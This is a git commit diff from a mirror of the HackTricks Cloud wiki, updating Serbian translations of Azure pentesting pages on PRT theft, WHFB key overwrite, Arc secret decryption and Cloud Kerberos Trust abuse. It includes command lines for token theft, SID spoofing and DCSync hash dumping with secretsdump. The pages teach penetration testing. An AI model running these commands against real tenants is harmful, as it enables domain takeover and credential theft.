mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-device-registration.
This commit is contained in:
@@ -442,22 +442,19 @@
|
||||
- [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md)
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md)
|
||||
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
|
||||
- [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
|
||||
- [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
|
||||
@@ -30,7 +30,7 @@ Ali **ne štiti** od **sniffing-a** fizičke veze između TPM-a i CPU-a ili **ko
|
||||
Ako pogledate sledeću stranicu, videćete da se **krađa PRT-a** može koristiti za pristup kao **korisnik**, što je odlično jer se **PRT nalazi na uređajima**, tako da se može ukrasti od njih (ili, ako nije ukraden, zloupotrebiti za generisanje novih ključeva za potpisivanje):
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Registracija uređaja sa SSO tokenima
|
||||
@@ -47,13 +47,13 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
|
||||
# Custom pyhton script to register a device (check roadtx)
|
||||
registerdevice.py
|
||||
```
|
||||
Koji će vam dati **sertifikat koji možete koristiti za traženje PRT-ova u budućnosti**. Takođe održava postojanost i **obiđe MFA** jer je originalni PRT token korišćen za registraciju novog uređaja **već imao odobrene MFA dozvole**.
|
||||
Koji će vam dati **sertifikat koji možete koristiti za traženje PRT-ova u budućnosti**. Takođe održava trajnost i **obiđe MFA** jer je originalni PRT token korišćen za registraciju novog uređaja **već imao odobrene MFA dozvole**.
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da će vam za izvođenje ovog napada biti potrebne dozvole za **registraciju novih uređaja**. Takođe, registracija uređaja ne znači da će uređaj biti **odobren za upis u Intune**.
|
||||
> Imajte na umu da su vam potrebne dozvole za **registraciju novih uređaja** da biste izvršili ovaj napad. Takođe, registracija uređaja ne znači da će uređaj biti **dozvoljen za upis u Intune**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ovaj napad je ispravljen u septembru 2021. godine jer više nije moguće registrovati nove uređaje koristeći SSO tokene. Međutim, još uvek je moguće registrovati uređaje na legitiman način (imajući korisničko ime, lozinku i MFA ako je potrebno). Proverite: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
> Ovaj napad je ispravljen u septembru 2021. godine jer više ne možete registrovati nove uređaje koristeći SSO tokene. Međutim, još uvek je moguće registrovati uređaje na legitiman način (imajući korisničko ime, lozinku i MFA ako je potrebno). Proverite: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
|
||||
## Prepisivanje uređajnog tiketa
|
||||
|
||||
@@ -64,7 +64,7 @@ Bilo je moguće **zatražiti uređajni tiket**, **prepisati** trenutni tiket ure
|
||||
> [!CAUTION]
|
||||
> Međutim, ovo je ispravljeno.
|
||||
|
||||
## Prepisivanje WHFB ključa
|
||||
## Prepiši WHFB ključ
|
||||
|
||||
[**Proverite originalne slajdove ovde**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
|
||||
|
||||
@@ -72,11 +72,11 @@ Sažetak napada:
|
||||
|
||||
- Moguće je **prepisati** **registrovani WHFB** ključ sa **uređaja** putem SSO
|
||||
- To **obara TPM zaštitu** jer se ključ **snima tokom generisanja** novog ključa
|
||||
- Ovo takođe obezbeđuje **postojanost**
|
||||
- Ovo takođe pruža **trajnost**
|
||||
|
||||
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Korisnici mogu modifikovati svoj vlastiti searchableDeviceKey property putem Azure AD Graph, međutim, napadač treba da ima uređaj u tenant-u (registrovan u hodu ili ukraden sertifikat + ključ sa legitimenog uređaja) i važeći pristupni token za AAD Graph.
|
||||
Korisnici mogu modifikovati svoju pretraživuDeviceKey svojstvo putem Azure AD Graph, međutim, napadač treba da ima uređaj u tenant-u (registrovan u hodu ili ukraden sertifikat + ključ sa legitimen uređaja) i važeći pristupni token za AAD Graph.
|
||||
|
||||
Zatim, moguće je generisati novi ključ sa:
|
||||
```bash
|
||||
|
||||
@@ -1,65 +1,39 @@
|
||||
# Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
## Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### On-Prem mašine povezane sa cloud-om
|
||||
## Osnovne Informacije
|
||||
|
||||
Postoje različiti načini na koje mašina može biti povezana sa cloud-om:
|
||||
Ovaj deo pokriva tehnike pivotiranja za prelazak iz kompromitovanog Entra ID tenanta u lokalni Active Directory (AD) ili iz kompromitovanog AD-a u Entra ID tenant.
|
||||
|
||||
#### Azure AD pridružena
|
||||
## Tehnike Pivotiranja
|
||||
|
||||
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
|
||||
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Ako napadač može da kontroliše ili kreira AD račun računara i pristupi Azure Arc GPO deljenju, može dekriptovati sačuvani Service Principal tajni ključ i koristiti ga za autentifikaciju na Azure kao povezani servisni principal, potpuno kompromitujući povezano Azure okruženje.
|
||||
|
||||
#### Pridružena radnom mestu
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Kako pivotirati iz Entra ID u AD kada je Cloud Kerberos Trust konfigurisan. Globalni administrator u Entra ID (Azure AD) može zloupotrebiti Cloud Kerberos Trust i sync API da impersonira AD račune sa visokim privilegijama, dobije njihove Kerberos karte ili NTLM hešove, i potpuno kompromituje lokalni Active Directory—čak i ako ti računi nikada nisu bili sinhronizovani sa cloud-om—efikasno premošćujući cloud-to-AD eskalaciju privilegija.
|
||||
|
||||
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Cloud Sync**](az-cloud-sync.md): Kako zloupotrebiti Cloud Sync da se pređe iz cloud-a u lokalni AD i obrnuto.
|
||||
|
||||
#### Hibridno pridružena
|
||||
- [**Connect Sync**](az-connect-sync.md): Kako zloupotrebiti Connect Sync da se pređe iz cloud-a u lokalni AD i obrnuto.
|
||||
|
||||
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Domain Services**](az-domain-services.md): Šta je Azure Domain Services servis i kako pivotirati iz Entra ID u AD koji generiše.
|
||||
|
||||
#### Pridružena radnom mestu na AADJ ili Hibridno
|
||||
- [**Federation**](az-federation.md): Kako zloupotrebiti Federation da se pređe iz cloud-a u lokalni AD i obrnuto.
|
||||
|
||||
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Različiti napadi koji se mogu koristiti za pivotiranje iz cloud-a u lokalni AD i obrnuto.
|
||||
|
||||
### Tokeni i ograničenja <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Gde pronaći kredencijale za cloud kada je PC kompromitovan.
|
||||
|
||||
U Azure AD, postoje različite vrste tokena sa specifičnim ograničenjima:
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md): Generisati certifikat na osnovu PRT-a za prijavu sa jednog računara na drugi.
|
||||
|
||||
- **Access tokens**: Koriste se za pristup API-ima i resursima kao što je Microsoft Graph. Povezani su sa specifičnim klijentom i resursom.
|
||||
- **Refresh tokens**: Izdaju se aplikacijama za dobijanje novih access tokena. Mogu ih koristiti samo aplikacije kojima su dodeljeni ili grupa aplikacija.
|
||||
- **Primary Refresh Tokens (PRT)**: Koriste se za Single Sign-On na Azure AD pridruženim, registrovanim ili hibridno pridruženim uređajima. Mogu se koristiti u tokovima prijavljivanja u pretraživaču i za prijavljivanje u mobilne i desktop aplikacije na uređaju.
|
||||
- **Windows Hello for Business keys (WHFB)**: Koriste se za autentifikaciju bez lozinke. Koriste se za dobijanje Primary Refresh Tokens.
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Ukrasti Azure kolačiće iz pregledača i koristiti ih za prijavu.
|
||||
|
||||
Najzanimljivija vrsta tokena je Primary Refresh Token (PRT).
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Šta je PRT, kako ga ukrasti i koristiti za pristup Azure resursima impersonirajući korisnika.
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Kako zloupotrebiti Pass-through Authentication da se pređe iz cloud-a u lokalni AD i obrnuto.
|
||||
|
||||
### Tehnike pivotiranja
|
||||
- [**Seamless SSO**](az-seamless-sso.md): Kako zloupotrebiti Seamless SSO da se pređe iz lokalnog u cloud.
|
||||
|
||||
Od **kompromitovane mašine do clouda**:
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Ukrao Azure kolačiće iz pretraživača i koristi ih za prijavu
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Izvuci memoriju lokalnih procesa sinhronizovanih sa cloud-om (kao što su excel, Teams...) i pronađi access tokene u čistom tekstu.
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishuj PRT da bi ga zloupotrebio
|
||||
- [**Pass the PRT**](pass-the-prt.md): Ukrao PRT uređaja da bi pristupio Azure-u pretvarajući se u njega.
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generiši sertifikat na osnovu PRT-a da bi se prijavio sa jedne mašine na drugu
|
||||
|
||||
Od kompromitovanja **AD** do kompromitovanja **Clouda** i od kompromitovanja **Clouda do** kompromitovanja **AD**:
|
||||
|
||||
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
|
||||
- **Drugi način za pivotiranje od clouda do On-Prem je** [**zloupotreba Intune-a**](../az-services/intune.md)
|
||||
|
||||
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Ovaj alat omogućava izvođenje nekoliko akcija kao što je registracija mašine u Azure AD da bi se dobio PRT, i korišćenje PRT-ova (legitimnih ili ukradenih) za pristup resursima na nekoliko različitih načina. Ovo nisu direktni napadi, ali olakšava korišćenje PRT-ova za pristup resursima na različite načine. Pronađite više informacija na [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- **Drugi način za pivotiranje iz cloud-a u lokalni je** [**zloupotreba Intune**](../az-services/intune.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Identifikacija Problema
|
||||
### Identifikacija problema
|
||||
|
||||
Azure Arc omogućava integraciju novih internih servera (servera pridruženih domenu) u Azure Arc koristeći metodu Group Policy Object. Da bi se to olakšalo, Microsoft pruža alat za implementaciju neophodan za pokretanje procedure onboardinga. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1.
|
||||
Azure Arc omogućava integraciju novih internih servera (servera pridruženih domenu) u Azure Arc koristeći metodu Group Policy Object. Da bi to olakšao, Microsoft pruža alat za implementaciju potreban za pokretanje procedure onboardinga. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1.
|
||||
|
||||
Kada se izvrši, DeployGPO.ps1 skripta obavlja sledeće radnje:
|
||||
|
||||
@@ -54,7 +54,7 @@ $ebs
|
||||
```
|
||||
Alternativno, možemo koristiti [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
|
||||
|
||||
U ovom trenutku, možemo prikupiti preostale informacije potrebne za povezivanje sa Azure-om iz ArcInfo.json datoteke, koja se čuva na istom mrežnom delu kao i encryptedServicePrincipalSecret datoteka. Ova datoteka sadrži detalje kao što su: TenantId, servicePrincipalClientId, ResourceGroup i još mnogo toga. Sa ovim informacijama, možemo koristiti Azure CLI za autentifikaciju kao kompromitovani servisni principal.
|
||||
U ovom trenutku, možemo prikupiti preostale informacije potrebne za povezivanje sa Azure-om iz ArcInfo.json datoteke, koja se čuva na istom mrežnom deljenju kao i encryptedServicePrincipalSecret datoteka. Ova datoteka sadrži detalje kao što su: TenantId, servicePrincipalClientId, ResourceGroup i još mnogo toga. Sa ovim informacijama, možemo koristiti Azure CLI za autentifikaciju kao kompromitovani servisni principal.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -20,33 +20,33 @@
|
||||
|
||||
- Bar jedan **hibridni korisnički nalog** (postoji u AD i AAD) na koji se napadač može autentifikovati. Ovo se može dobiti poznavanjem ili resetovanjem njegovih akreditiva ili dodeljivanjem metode bez lozinke (npr. Temporary Access Pass) za generisanje Primary Refresh Token-a (PRT) za njega.
|
||||
|
||||
- **On-prem AD ciljni nalog** sa visokim privilegijama koji *nije* u podrazumevanoj RODC "odbij" politici. U praksi, odličan cilj je **AD Connect sync nalog** (često nazvan **MSOL_***), koji ima DCSync (replikacija) prava u AD, ali obično nije član ugrađenih administrativnih grupa. Ovaj nalog obično nije sinhronizovan sa Entra ID, što omogućava njegovo SID korišćenje bez sukoba.
|
||||
- **On-prem AD ciljni nalog** sa visokim privilegijama koji *nije* u podrazumevanoj RODC "odbij" politici. U praksi, odličan cilj je **AD Connect sync nalog** (često nazvan **MSOL_***), koji ima DCSync (replikacija) prava u AD, ali obično nije član ugrađenih administrativnih grupa. Ovaj nalog obično nije sinhronizovan sa Entra ID, što omogućava njegovo SID da se imitira bez sukoba.
|
||||
|
||||
**Koraci napada:**
|
||||
|
||||
1. **Dobijanje Azure AD sync API pristupa:** Koristeći Global Admin nalog, pribaviti pristupni token za Azure AD **Provisioning (sync) API**. Ovo se može uraditi pomoću alata kao što su **ROADtools** ili **AADInternals**. Na primer, sa ROADtools (roadtx):
|
||||
1. **Dobijanje Azure AD sync API pristupa:** Koristeći Global Admin nalog, steći pristupni token za Azure AD **Provisioning (sync) API**. Ovo se može uraditi pomoću alata kao što su **ROADtools** ili **AADInternals**. Na primer, sa ROADtools (roadtx):
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(Alternativno, AADInternals' `Connect-AADInt` može se koristiti za autentifikaciju kao Global Admin.)*
|
||||
|
||||
2. **Izmenite On-Prem Atribute Hibridnog Korisnika:** Iskoristite Azure AD **synchronization API** da postavite odabrane hibridne korisničke **onPremises Security Identifier (SID)** i **onPremises SAMAccountName** da odgovaraju ciljanom AD nalogu. Ovo efikasno govori Azure AD-u da cloud korisnik odgovara on-prem nalogu koji želimo da imitiramo. Koristeći open-source **ROADtools Hybrid** alat:
|
||||
2. **Izmenite On-Prem Atribute Hibridnog Korisnika:** Iskoristite Azure AD **synchronization API** da postavite odabrane atribute hibridnog korisnika **onPremises Security Identifier (SID)** i **onPremises SAMAccountName** da odgovaraju ciljanom AD nalogu. Ovo efikasno govori Azure AD-u da cloud korisnik odgovara on-prem nalogu koji želimo da imitiramo. Koristeći open-source **ROADtools Hybrid** alat:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> `sourceAnchor` (nepromenljivi ID) korisnika je potreban za identifikaciju Azure AD objekta koji treba izmeniti. Alat postavlja SID i SAM naziv naloga hibridnog korisnika na vrednosti cilja (npr., SID i SAM naloga MSOL_xxxx). Azure AD obično ne dozvoljava promenu ovih atributa putem Graph-a (oni su samo za čitanje), ali API usluge sinhronizacije to dozvoljava i Global Admini mogu da pozovu ovu funkcionalnost sinhronizacije.
|
||||
> `sourceAnchor` (nepromenljivi ID) korisnika je potreban za identifikaciju Azure AD objekta koji treba izmeniti. Alat postavlja SID i SAM naziv naloga hibridnog korisnika na vrednosti cilja (npr., SID i SAM naloga MSOL_xxxx). Azure AD obično ne dozvoljava promenu ovih atributa putem Graph-a (oni su samo za čitanje), ali API usluge sinhronizacije to omogućava i Global Admini mogu aktivirati ovu funkcionalnost sinhronizacije.
|
||||
|
||||
3. **Dobijanje delimičnog TGT-a iz Azure AD:** Nakon izmene, autentifikujte se kao hibridni korisnik u Azure AD (na primer, dobijanjem PRT-a na uređaju ili korišćenjem njihovih akreditiva). Kada se korisnik prijavi (posebno na uređaju koji je pridružen domeni ili Entra), Azure AD će izdati **delimični Kerberos TGT (TGT**<sub>**AD**</sub>) za taj nalog jer je Cloud Kerberos Trust omogućen. Ovaj delimični TGT je enkriptovan sa AzureADKerberos$ RODC ključem i uključuje **ciljni SID** koji smo postavili. Možemo simulirati ovo traženjem PRT-a za korisnika putem ROADtools:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
Ovo generiše `.prt` datoteku koja sadrži delimični TGT i sesijski ključ. Ako je nalog bio samo za oblak, Azure AD i dalje uključuje TGT_AD u PRT odgovoru.
|
||||
Ovo generiše `.prt` datoteku koja sadrži delimični TGT i sesijski ključ. Ako je nalog bio samo za cloud lozinku, Azure AD i dalje uključuje TGT_AD u PRT odgovoru.
|
||||
|
||||
4. **Zamena delimičnog TGT-a za puni TGT (na AD-u):** Delimični TGT se sada može predstaviti lokalnom kontroloru domena da bi se dobio **puni TGT** za ciljni nalog. To radimo tako što izvršavamo TGS zahtev za `krbtgt` servis (primarni TGT servis domena) -- suštinski unapređujući tiket u normalan TGT sa punim PAC-om. Alati su dostupni za automatizaciju ove razmene. Na primer, koristeći skriptu ROADtools Hybrid:
|
||||
4. **Zamena delimičnog TGT za puni TGT (na AD-u):** Delimični TGT se sada može predstaviti lokalnom kontroloru domena da bi se dobio **puni TGT** za ciljni nalog. To radimo tako što izvršavamo TGS zahtev za `krbtgt` servis (primarni TGT servis domena) -- suštinski unapređujući tiket u normalan TGT sa punim PAC-om. Alati su dostupni za automatizaciju ove razmene. Na primer, koristeći skriptu ROADtools Hybrid:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
@@ -58,12 +58,12 @@ Ovaj skript (ili ekvivalenti Impacket-a) će kontaktirati Kontroler domena i pre
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
Ovo izbacuje sve AD korisničke heš vrednosti lozinki, dajući napadaču KRBTGT heš (omogućavajući im da po volji falsifikuju Kerberos karte domena) i efektivno **Domain Admin** privilegije nad AD. Ako bi ciljni nalog bio neki drugi privilegovani korisnik, napadač bi mogao koristiti puni TGT za pristup bilo kojem resursu domena kao taj korisnik.
|
||||
Ovo izbacuje sve AD korisničke heš vrednosti lozinki, dajući napadaču KRBTGT heš (omogućavajući im da falsifikuju Kerberos karte domena po želji) i efektivno **Domain Admin** privilegije nad AD. Ako bi ciljni nalog bio neki drugi privilegovani korisnik, napadač bi mogao koristiti puni TGT za pristup bilo kojem resursu domena kao taj korisnik.
|
||||
|
||||
6. **Čišćenje:** Opcionalno, napadač može vratiti izmenjeni Azure AD korisnički `onPremisesSAMAccountName` i SID putem istog API-ja ili jednostavno obrisati bilo kog privremenog korisnika koji je kreiran. U mnogim slučajevima, sledeći Azure AD Connect sinhronizacijski ciklus automatski će vratiti neovlašćene promene na sinhronizovanim atributima. (Međutim, do tog trenutka šteta je učinjena -- napadač ima DA privilegije.)
|
||||
|
||||
> [!WARNING]
|
||||
> Zloupotrebom mehanizma poverenja i sinhronizacije u oblaku, Global Admin Azure AD može da se pretvara u gotovo *bilo koji* AD nalog koji nije eksplicitno zaštićen RODC politikom, čak i ako taj nalog nikada nije bio sinhronizovan u oblaku. U podrazumevanoj konfiguraciji, ovo **uspostavlja potpuno poverenje od kompromitovanja Azure AD do kompromitovanja lokalnog AD**.
|
||||
> Zloupotrebom mehanizma poverenja i sinhronizacije u oblaku, Global Admin Azure AD može da imituje gotovo *bilo* koji AD nalog koji nije eksplicitno zaštićen RODC politikom, čak i ako taj nalog nikada nije bio sinhronizovan u oblaku. U podrazumevanoj konfiguraciji, ovo **uspostavlja potpuno poverenje od kompromitovanja Azure AD do kompromitovanja on-prem AD**.
|
||||
|
||||
|
||||
## References
|
||||
@@ -25,7 +25,7 @@ Da bi ovo funkcionisalo, neki principi se kreiraju u Entra ID i On-Premise direk
|
||||
> Pored drugih dozvola, Service Account **`provAgentgMSA`** ima DCSync dozvole, omogućavajući **bilo kome ko ga kompromituje da kompromituje ceo direktorijum**. Za više informacija o [DCSync proverite ovo](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` do 1 nisu sinhronizovani** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su dodeljeni visoke privilegije direktno **mogu biti sinhronizovani**.
|
||||
> Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` na 1 nisu sinhronizovani** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su dodeljeni visoke privilegije direktno **mogu biti sinhronizovani**.
|
||||
|
||||
## Sinhronizacija lozinki
|
||||
|
||||
@@ -35,9 +35,9 @@ Odeljak je vrlo sličan onom iz:
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Sinhronizacija heša lozinke** može biti omogućena tako da korisnici mogu **login into Entra ID using their passwords from AD**. Štaviše, kada god se lozinka izmeni u AD, biće ažurirana u Entra ID.
|
||||
- **Sinhronizacija heša lozinke** može biti omogućena tako da korisnici mogu **prijaviti se u Entra ID koristeći svoje lozinke iz AD**. Štaviše, kada god se lozinka izmeni u AD, biće ažurirana u Entra ID.
|
||||
- **Pisanje lozinke** takođe može biti omogućeno, omogućavajući korisnicima da modifikuju svoju lozinku u Entra ID automatski sinhronizujući svoju lozinku u on-premise domenu. Ali prema [trenutnim dokumentima](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), za ovo je potrebno koristiti Connect Agent, pa pogledajte [Az Connect Sync odeljak](./az-connect-sync.md) za više informacija.
|
||||
- **Pisanje grupa**: Ova funkcija omogućava članstvima grupa iz Entra ID da se sinhronizuju nazad u on-premises AD. To znači da ako je korisnik dodat u grupu u Entra ID, takođe će biti dodat u odgovarajuću grupu u AD.
|
||||
- **Pisanje grupa**: Ova funkcija omogućava članstvima grupa iz Entra ID da se sinhronizuju nazad u on-premises AD. To znači da ako je korisnik dodat u grupu u Entra ID, biće takođe dodat u odgovarajuću grupu u AD.
|
||||
|
||||
## Pivotiranje
|
||||
|
||||
@@ -45,10 +45,10 @@ az-connect-sync.md
|
||||
|
||||
- Ako se AD korisnici sinhronizuju iz AD u Entra ID, pivotiranje iz AD u Entra ID je jednostavno, samo **kompromitujte lozinku nekog korisnika ili promenite lozinku nekog korisnika ili kreirajte novog korisnika i čekajte dok se ne sinhronizuje u Entra ID direktorijum (obično samo nekoliko minuta)**.
|
||||
|
||||
Tako da biste mogli, na primer
|
||||
- Kompromitovati **`provAgentgMSA`** nalog, izvršiti DCSync napad, provaliti lozinku nekog korisnika i zatim je koristiti za login u Entra ID.
|
||||
- Samo kreirati novog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim ga koristiti za login u Entra ID.
|
||||
- Modifikovati lozinku nekog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim je koristiti za login u Entra ID.
|
||||
Tako da biste mogli na primer
|
||||
